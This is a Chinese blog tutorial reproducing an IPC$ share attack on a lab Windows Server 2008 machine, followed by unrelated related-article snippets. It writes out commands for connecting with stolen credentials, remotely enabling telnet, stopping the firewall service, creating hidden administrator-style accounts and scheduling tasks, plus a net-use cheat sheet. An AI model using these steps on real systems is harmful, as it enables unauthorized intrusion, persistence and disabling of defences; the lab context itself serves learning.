基于 Win Server 2008 复现 IPC$ 漏洞

写在前面

本篇博客演示了使用 winXP(配合部分 win10 的命令)对 win server 2008 的 IPC$ 漏洞进行内网渗透,原本的实验是要求使用 win server 2003,使用 win server 2003 可以规避掉很多下面存在的问题,建议大家使用 win server 2003 作为靶机进行测试,这里使用 win server 2008 仅作渗透演示,涉及内容主要就是扫描、拿shell、命令执行,总结一些知识,仅供学习参考。

Copyright © [2024] [Myon⁶]. All rights reserved.

文章开始前给大家分享一个学习人工智能的网站,通俗易懂,风趣幽默
人工智能icon-default.png?t=N7T8https://www.captainbed.cn/myon/

 

~~~~~~~~~~正文开始~~~~~~~~~~

知识介绍: 

IPC$ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$ 是 NT2000 的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT2000 在提供了 IPC$ 共享功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$、D$、E$……)和系统目录共享(Admin$)。所有的这些初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者会利用 IPC$ ,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测。

为了配合IPC共享工作,Windows操作系统(不包括Windows 98系列)在安装完成后,自动设置共享的目录为:C盘、D盘、E盘、ADMIN目录(C:\Windows)等,即为 ADMIN$、C$、D$、E$ 等,但要注意,这些共享是隐藏的,只有管理员能够对他们进行远程操作。

使用 net 命令查看开启的共享:

net share

漏洞利用条件:

开放了 139、445 端口和 ipc$ 文件共享,并且我们已经获取到用户登录账号和密码。

测试靶机:Windows Server 2008 (内网 ip:192.168.249.129)

攻击机:Windows XP(ip 地址:192.168.249.137)

(后续部分命令基于 win10 物理机演示)

靶机虽然启动了 Windows 防火墙,但是允许文件共享,其余设置全为默认安装设置,并安装了所有补丁。(相当于是限定我们的渗透方向)

如下图,防火墙处于开启状态:

入站规则:启用文件和打印机共享

实验开始前先测试下网络:可以 ping 通

X-scan 扫描

在使用这个软件过程中遇到了一些问题,同样是进行 ip 段扫描

但是在物理机(win10)却扫描不到存活主机

参数配置:

扫描结果:

未发现存活主机

将软件放进虚拟机(XP系统),同样的参数配置

扫描结果:

成功扫到内网靶机 192.168.249.129

因为这个 win server 2008 是我的一台靶场机,所以会扫到这么多的漏洞

由于登录用户密码是我自定义修改过的,所以这里我们并没有扫到弱口令

正常来说,win server 2003 会扫到弱口令:administrator/123456

假设我们扫到了一个登录的弱口令,这也是 IPC$ 漏洞利用的条件之一

接下来我们分别演示利用 IPC$ 建立空连接和非空连接

我们可以无需用户名与密码与目标主机建立一个空的连接(前提是对方机器必须开了 IPC$ 共享),利用这个空的连接,我们可以得到目标主机上的用户列表。但是在 Windows2003 以后,空连接什么权限都没有,也就是说并没有太大实质的用处。

使用命令建立 IPC$ 空连接(即用户名和密码都为空):

net use \\192.168.249.129 /u:"" ""

查看共享连接 

net use

有些主机的 Administrator 管理员的密码为空,那么我们可以尝试进行空连接,但是大多数情况下服务器都阻止了使用空密码进行连接。

下面我们使用拿到的账号和密码进行 IPC$ 非空连接

使用命令:

net use \\192.168.249.129 密码 /user:administrator

遇到如下的报错,这是因为我们刚才建立的空连接没有断开,正如我们前面所说,每个客户端只能与远程计算机的 IPC$ 共享建立一个连接。

因此我们先断开刚才建立的连接:

net use \\192.168.249.129 /del

再次执行非空连接的命令,建立连接成功

这里顺便说一下用户权限的问题:

使用管理员组内用户( administrator 或其他管理员用户)建立 IPC$ 连接,可以执行所有命令;

而使用普通用户建立的 IPC$ 连接,仅能执行查看时间命令:net time \\192.168.249.129 。

这里我们也演示一下查看当前时间:

net time \\192.168.249.129 

尝试查看文件和目录:

dir \\192.168.249.129\c$

执行成功 

与靶机对比一下,内容完全一样

当然这个命令也可以直接在运行框执行

\\192.168.249.129\c$

结果如下图,我们就可以直接在这里进行图形化的操作

回到实验本身,我们使用 sc 命令获取目标计算机的所有服务列表,并保存在本地:

使用 > 符号输出到本地的 C 盘下一个名为 MY.txt 的文档里

sc \\192.168.249.129 query type= service state= all > c:\MY.txt

(特别注意一点,在两个等号后面一定要加上空格,否则你导出的结果会有问题) 

执行成功后我们就可以找到该文件

在进行这一步时遇到了以下问题:

1、系统资源不足 无法完成请求服务

2、sc 命令拒绝访问

3、导出文件内容为:[SC] EnumQueryServicesStatus:OpenService FAILED 1060:

解决方案:重启客户机,重新建立连接,执行命令时加上空格

查看我们导出的文件,使用快捷键 Ctrl+F 检索 telnet 

可以看到该服务处于禁用状态

并且我们可以获知服务名为:TlntSvr 

接下来我们设置 telnet 为自启动状态并启动它:

sc \\192.168.249.129 config tlntsvr start= autosc \\192.168.249.129 start tlntsvr

 

再次导出目标计算机的所有服务列表

可以看到 telnet 服务处于运行状态

为了便于后续的渗透操作,我们一般需要先对防火墙进行关闭

通过检索关键字  firewall 

可以得知该服务处于运行状态,并且服务名称是 MpsSvc

(由于我这里是使用 win server 2008 进行的演示,该实验原本是基于 win server 2003 进行的,在 win server 2003 中,防火墙名称叫 SharedAccess)

使用 sc 命令关闭防火墙:

sc \\192.168.249.129 stop MpsSvc

再次导出服务运行情况:

这里遇到了问题,无法获取到目标的服务列表情况

进行一些简单的命令测试,似乎已经无法与目标正确建立连接

查看目标防火墙状态,发现是刚才远程执行关闭防火墙命令所导致的

由于防火墙关闭时发生了错误,导致一些服务也无法正常工作

没办法我们只能重启靶机

(这里我进行了多次测试,都会出现这个错误,只能手动关闭防火墙了,2003 应该是没问题的)

重新在攻击机测试:

连接恢复正常

接下来我们尝试与目标计算机建立 telnet 连接 

直接使用 telnet 命令跟上目标 ip :

(注意这里没有反斜杠 \\ )

telnet 192.168.249.129

键入 y ,回车 

输入用户名和密码

用户名为:administrator

密码为自己的密码(win server 2003 默认是 123456)

出于安全考虑,输入的密码不会显示出来,其实是输入成功了的,直接回车即可

telnet 连接建立成功

查看当前 ip

ipconfig

已经是我们目标靶机的 ip:192.168.249.129 

查看一下当前权限:

whoami

 

由于 shell 已经建立,并且是最高管理员权限,我们便可以进行一系列想做的操作了。

新建普通账户:

net user MY 123456 /add

这里对密码的复杂度进行了限制,换句话说就是我们设置的密码太简单了 

经过多次尝试,发现密码需要包含大小写字母和数字

创建新账号成功

查看当前存在的账户:

net user

即可看到我们新建的 MY 账号 

下面我们新建隐藏用户:

使用 $ 符

注意:该方法仅能实现在命令行里隐藏账户,但是在图形化管理工具里该账户还是可见的

net user MY$ qaMY789 /add

说明:上述命令直接复制执行会出错的,需要自己敲一遍。

MY$ 用户创建成功,并且在命令行里面无法看见,一定程度上实现了隐藏

但是在图形化账户管理界面,MY$ 用户是可见的:

后续我们再介绍通过注册表实现用户的完全隐藏

关于 telnet 的利用就到此为止,我们再补充一些其他命令的利用。

首先使用 exit 断开 telnet 连接

1、tasklist 命令

该命令用于查看进程

tasklist /S 192.168.249.129 /U administrator -P 密码

在 XP 系统无法执行(版本太老了不认识这个命令)

因此换用 win 10 的终端

执行成功,回显如下图:

2、at命令

该命令用于添加计划任务,但是在 Windows Vista、Windows Server 2008 及之后版本的操作系统中已经弃用了 at 命令,而转为用 schtasks 命令,schtasks 命令比 at 命令更灵活,在使用schtasks 命令时,会在系统中留下日志文件:C:\Windows\Tasks\SchedLgU.txt

首先我们查看当前时间

net time \\192.168.249.129

假设我们让它在 02:42pm 的时候再新建一个名为 MY67 的用户:

at \\192.168.249.129 02:42pm net user MY67 qaMY123 /add

并在 02:42pm 前和 02:42pm 后分别执行 net user 命令查看存在的用户

结果如下:说明目标计算机执行了我们 at 命令计划的任务

此外,我又新建了三项计划任务

我们使用 at 命令列出所有计划执行的作业:

at

追加具体作业 id 号就可以查看作业的详细信息

at 8

删除特定编号的作业

at \\192.168.249.129 作业ID /del

比如我们删掉作业 8 

at \\192.168.249.129 8 /del

删除后我们只能看到作业 7 和 9 了

关于我这里使用两个 cmd 框的解释:

一个框是通过 telnet 连接拿到了对方的 shell ,也就是没有加 \\192.168.249.129 所执行的命令;

另一个框是我本地的 cmd 框,执行命令时都是加了 \\192.168.249.129 的。

因为 ipc$ 有一定的危险性,而且对于大多数人来说是没啥用的,可以通过如下命令关闭共享:

net share ipc$ /delete

删除 IPC$ 共享后,如果需要重新开启它,可以使用以下命令来重新创建 IPC$ 共享:

net share ipc$

 最后附上一些常见的共享命令:

net use: 查看本机建立的连接或连接到其他计算机。net session: 查看其他计算机连接到本机的会话,需要管理员权限执行。net share: 查看本地开启的共享。net share ipc$: 开启 IPC$ 共享。net share ipc$ /del: 删除 IPC$ 共享。
net share admin$ /del: 删除 ADMIN$ 共享。net share c$ /del: 删除 C$ 共享。net share d$ /del: 删除 D$ 共享。net use * /del: 删除所有连接。net use \\192.168.249.129: 与指定 IP 地址建立 IPC 空连接。net use \\192.168.249.129\ipc$: 与指定 IP 地址建立 IPC 空连接。net use \\192.168.249.129\ipc$ /u:"" "": 以空用户名和密码与指定 IP 地址建立 IPC 空连接。net view \\192.168.249.129: 查看指定 IP 地址上的默认共享。net use \\192.168.249.129 /u:"administrator" "hacker": 以管理员身份与指定 IP 地址建立 IPC 
连接。net use \\192.168.249.129 /del: 删除指定 IP 地址上的 IPC 连接。net time \\192.168.249.129: 查看指定 IP 地址上的时间。net use \\192.168.249.129\c$ /u:"administrator" "hacker": 以管理员身份连接到指定 IP 地址的 C$ 共享。dir \\192.168.249.129\c$: 查看指定 IP 地址上 C 盘的文件。net use \\192.168.249.129\c$ /del: 删除指定 IP 地址上的 C$ 共享连接。net use k: \\192.168.249.129\c$ /u:"administrator" "hacker": 将指定 IP 地址的 C 盘映射到本地 K 盘。net use k: /del: 删除本地 K 盘的映射。

Copyright © [2024] [Myon⁶]. All rights reserved.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/737257.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何在Linux部署FastDFS文件服务并实现无公网IP远程访问内网文件——“cpolar内网穿透”

文章目录 前言1. 本地搭建FastDFS文件系统1.1 环境安装1.2 安装libfastcommon1.3 安装FastDFS1.4 配置Tracker1.5 配置Storage1.6 测试上传下载1.7 与Nginx整合1.8 安装Nginx1.9 配置Nginx 2. 局域网测试访问FastDFS3. 安装cpolar内网穿透4. 配置公网访问地址5. 固定公网地址5.…

TCP多线程模型、IO模型(select、poll、epoll)

我要成为嵌入式高手之3月11日Linux高编第十九天!! ———————————————————————————— TCP并发模型 一、TCP多线程模型: 缺点:创建线程会带来资源开销,能够现的并发量比较有限 二、IO模型&…

【PHP】PHP通过串口与硬件通讯,向硬件设备发送数据并接收硬件返回的数据

一、前言 之前写过两篇PHP实现与硬件串口交互的文章,一篇是【PHP】PHP实现与硬件串口交互,接收硬件发送的实时数据(上)_php串口通信-CSDN博客,另一篇是【PHP】PHP实现与硬件串口交互,向硬件设备发送指令数…

HarmonyOS NEXT应用开发之图片缩放效果实现

腾讯T10级高工技术,安卓全套VIP课程全网免费送:https://docs.qq.com/doc/DSG1vYnRxSElnU3hE 学习鸿蒙开发势在必行。鸿蒙开发可参考学习文档:https://qr21.cn/FV7h05 介绍 图片预览在应用开发中是一种常见场景,在诸如QQ、微信、…

Facebook商城号为什么被封?如何防封?

由于Facebook商城的高利润空间,越来越多的跨境电商商家注意到它的存在。Facebook作为全球最大、用户量最大的社媒平台,同时也孕育了一个巨大的商业生态,包括广告投放、商城交易等。依托背后的大流量,Facebook商城起号较快&#xf…

GPU,一统天下

三十年前,CPU 和其他专用处理器几乎处理所有计算任务。那个时代的显卡有助于加快 Windows 和应用程序中 2D 形状的绘制速度,但没有其他用途。 快进到今天,GPU 已经成为业界最具主导地位的芯片之一。 但具有讽刺意味的是,图形芯片…

ETCD入门

目录 一、简介 1. etcd是什么 2. 特点 3. 使用场景 4. 关键字 5. 工作原理 6. 获取 二、安装 1. etcd安装前的介绍 2. 安装 3. 启动 4. 创建一个etcd服务 三、ETCD的使用 一、简介 1. etcd是什么 etcd是CoreOS团队于2013年6月发起的开源项目,它的目标是…

Retrofit

1.导入依赖 //Retrofit 核心库implementation("com.squareup.retrofit2:retrofit:2.9.0")//响应数据自动序列化//JSONimplementation("com.squareup.retrofit2:converter-gson:2.9.0")//String类型implementation("com.squareup.retrofit2:converter…

Python速度大比拼:与主流编程语言的速度对决

在评估用于具体业务的编程语言时,经常考虑的一个关键指标之一是执行速度。Python以其简单性和可读性而闻名,但有时却因其性能而受到质疑。在这个领域,我们需要深入比较分析Python在执行速度方面与其他流行的编程语言相比的情况。 程语言执行速…

网络编程(3/6)

使用C语言完成数据库的增删改 #include<myhead.h> int do_add(sqlite3 *ppDb) {int numb;char name[50];int salary;printf("请输入员工信息&#xff1a;工号、姓名、薪水\n");scanf("%d %s %d",&numb,name,&salary);char sql[128];char *e…

Nginx七层的负载均衡使用keepalived实现高可用

目录 一、环境准备 二、两台nginx服务器作为代理服务器,配置nginx的负载均衡 三、Keepalived实现调度器 Proxy-master 与 Proxy-slave机器同时操作安装 备份配置文件 编辑主Proxy-master的配置文件 编辑从 Proxy-slaver的配置文件 四、 启动KeepAlived&#xff08;主备…

CleanMyMac X4.15中文完整免费版下载

CleanMyMac X是一款功能全面的Mac管理软件&#xff0c;它能帮助用户清理无用的文件&#xff0c;监控系统健康&#xff0c;管理启动项&#xff0c;甚至还能移除恶意软件&#xff0c;确保你的Mac保持最佳状态。其直观的界面设计使得新手用户也能轻松上手&#xff0c;一键扫描和清…

【算法】一类支持向量机OC-SVM

【算法】一类支持向量机OC-SVM 前言一类支持向量机OC-SVM 概念介绍示例编写数据集创建实现一类支持向量机OC-SVM完整的示例输出 前言 由于之前毕设期间主要的工具就是支持向量机&#xff0c;从基础的回归和分类到后来的优化&#xff0c;在接触到支持向量机还有一类支持向量机的…

脚手架cli快速创建Vue2/Vue3项目

前言&#xff1a; 本文的nodejs版本是14.21.3 第一步 进入cmd窗口 1、全局安装webpack npm install webpack-g&#xff0c; npm install webpack-g 第二步 2、全局安装vue脚手架 npm install -g vue/cli 第三步 3、初始化vue项目 &#xff08;vue脚手架使用webpack模…

宝妈做什么兼职副业好?适合她们的有哪些?执行力才是关键

现在的宝妈&#xff0c;生完孩子以后&#xff0c;尤其是宝宝上幼儿园之前&#xff0c;为了照顾宝宝&#xff0c;不能去外面上班&#xff0c;所以很多妈妈都为孩子做出了很大的牺牲&#xff0c;但同时又要承担着家庭经济的压力&#xff0c;尤其是现在注重个性独立的时代&#xf…

基于微信小程序的电子商城购物平台的设计与实现(论文+源码)_kaic

摘 要 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;电子商城购物平台小程序被用户普遍使用&#xff0c;为方便…

图及图的存储

目录 1.图的相关概念 2.图的存储 2.1.直接存法 1.查询是否存在某条边 2.遍历一个点的所有出边 3..遍历整个图 应用 2.2.邻接矩阵 1.查询是否存在某条边 2.遍历一个点的所有出边 3..遍历整个图 应用 2.3.邻接表 1.查询是否存在某条边 2.遍历一个点的所有出边 3..遍…

RabbitMQ应用场景

1、异步处理 假设想象一下我们做一个商城项目&#xff0c;在用户支付模块中&#xff0c;可能会涉及到其它业务&#xff0c;比如&#xff1a;积分折扣、消费券、短信验证等功能。我们传统的执行步骤是逐步执行&#xff0c;也就是说当用户点击支付 ----> 积分折扣 ----> 消…

Project_Euler-10 题解

Project_Euler-10 题解 题目 思路 没有思路&#xff0c;一个线性筛秒了,只不过最近没发博客有点手生哈哈哈哈哈。 代码 /*************************************************************************> Author: Royi > Mail: royi990001gmail.com > From: > Lan…

2014-2023年上市银行华证ESG评级数据/银行ESG评级数据

2014-2023年上市银行华证ESG评级数据/银行ESG评级数据 1、时间&#xff1a;2014-2023年 2、指标&#xff1a;证券代码、证券简称、华证ESG评级 3、来源&#xff1a;原始数据整理自wind 4、范围&#xff1a;42家银行&#xff1a; 苏农银行、中信银行、贵阳银行、中国银行、…